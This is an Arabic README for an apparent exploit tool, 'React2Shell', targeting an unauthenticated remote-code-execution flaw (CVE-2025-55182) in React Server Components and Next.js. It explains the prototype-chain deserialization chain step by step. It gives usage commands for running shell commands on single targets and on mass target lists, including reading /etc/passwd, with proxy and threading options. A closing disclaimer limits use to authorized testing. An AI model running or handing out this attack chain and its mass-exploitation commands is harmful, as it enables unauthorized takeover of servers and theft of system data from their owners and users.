CVE-2025-55182 - React2Shell

React Server Components / Next.js تنفيذ الأوامر عن بُعد دون مصادقة

الخاصية	القيمة
CVE ID	CVE-2025-55182
CVSS	10.0 (حرج)
CWE	CWE-502: إلغاء تسلسل البيانات غير الموثوقة
النوع	تنفيذ أوامر عن بُعد دون مصادقة

النطاق المتأثر

المكون	الإصدارات المتأثرة
React	19.0.0, 19.1.0, 19.1.1, 19.2.0
Next.js	15.0.0 ~ 15.0.4, 15.1.0 ~ 15.1.8, 15.2.x ~ 15.5.6, 16.0.0 ~ 16.0.6
الحزم ذات الصلة	react-server-dom-webpack, react-server-dom-turbopack, react-server-dom-parcel

مبدأ الثغرة

تستغل هذه الثغرة عيبًا في إلغاء التسلسل ضمن بروتوكول React Server Components (RSC) Flight، وذلك من خلال إنشاء طلب multipart/form-data خبيث لتحقيق تنفيذ أوامر عن بُعد دون إذن. سلسلة الاستغلال الكاملة كالتالي:

1. عبر طلب POST multipart/form-data مع رأس Next-Action لتفعيل مسار Server Action.
2. تحتوي القطعة (Chunk) "0" على كائن JSON مُنشأ بعناية (غير مُغلَّف بمصفوفة)، حيث يستخدم $1:__proto__:then للوصول إلى الخاصية Chunk.prototype.then على كائن القطعة 1 في حالة PENDING، مما يجعله thenable.
3. يستخدم $1:constructor:constructor لتحليل سلسلة النموذج الأولي (prototype chain) إلى مُنشئ Function.
4. يستدعي Chunk.prototype.then الدالة initializeModelChunk لتحليل الحقل value الذي يحوي '{"then":"$B0"}'.
5. تحليل blob $B0 يستدعي _formData.get(_prefix + "0") أي Function(code + "0").
6. كائن الدالة الناتج يمتلك خاصية then بنفسه، فيُعتبر thenable ويتم استدعاؤه، مما يؤدي إلى تنفيذ الكود وتحقيق تنفيذ الأوامر عن بُعد (RCE).

تثبيت التبعيات

pip install requests[socks]

في حال فقدان التبعيات، سيحاول السكريبت تثبيت requests و PySocks تلقائياً.

طريقة الاستخدام

تنفيذ أوامر على هدف واحد

python CVE-2025-55182.py -u http://target:3000 -c "id"

استغلال جماعي

python CVE-2025-55182.py -f targets.txt -c "cat /etc/passwd" -o results.txt

فحص الثغرة فقط (بدون تنفيذ أوامر)

python CVE-2025-55182.py -u http://target:3000 --check
python CVE-2025-55182.py -f targets.txt --check -o vuln_hosts.txt

استخدام بروكسي

# بروكسي HTTP
python CVE-2025-55182.py -u http://target:3000 -c "whoami" --proxy http://127.0.0.1:8080

# بروكسي SOCKS5
python CVE-2025-55182.py -f targets.txt -c "id" --proxy socks5://127.0.0.1:1080

وضع التصحيح

python CVE-2025-55182.py -u http://target:3000 -c "id" -v

شرح المعاملات الكاملة

المعامل	الشرح	القيمة الافتراضية
-u, --url	رابط هدف واحد (يتعارض مع -f)	-
-f, --file	ملف بقائمة روابط الأهداف، رابط واحد في كل سطر (يتعارض مع -u)	-
-c, --command	أمر النظام المراد تنفيذه (غير مطلوب في وضع --check)	-
-o, --output	ملف إخراج النتائج	results.txt
-t, --threads	عدد الخيوط المتزامنة	10
-v, --verbose	عرض مخرجات التصحيح	False
--proxy	عنوان البروكسي، يدعم HTTP و SOCKS5	-
--timeout	مهلة الطلب بالثواني	15
--check	فحص الثغرة فقط دون تنفيذ أوامر النظام	False
--verify-ssl	التحقق من شهادة TLS	False

شرح المخرجات

• VULN — الهدف معرض للثغرة، تم الحصول على نتيجة تنفيذ الأمر بنجاح
• MAYBE — قد يكون معرضاً للثغرة (مثل انتهاء مهلة القراءة)
• ERR — خطأ في الاتصال
• SAFE — لم يتم اكتشاف الثغرة

تتم كتابة نتائج الفحص الجماعي في ملف الإخراج المحدد بـ -o، ويتم تسجيل الأهداف التي تم تأكيد تعرضها فقط.

مثال على تنسيق targets.txt

http://192.168.1.10:3000
https://app.example.com
http://10.0.0.5:3000/dashboard
# سيتم تجاهل الأسطر التي تبدأ بـ #

إخلاء مسؤولية

هذه الأداة مخصصة فقط لاختبارات الأمان المصرح بها ولأغراض البحث الأمني. يجب على المستخدم التأكد من حصوله على إذن صريح من مالك النظام المستهدف. يُعد اختبار الاختراق دون إذن مخالفاً للقانون، ويتحمل المستخدم كامل المسؤولية القانونية المترتبة على ذلك.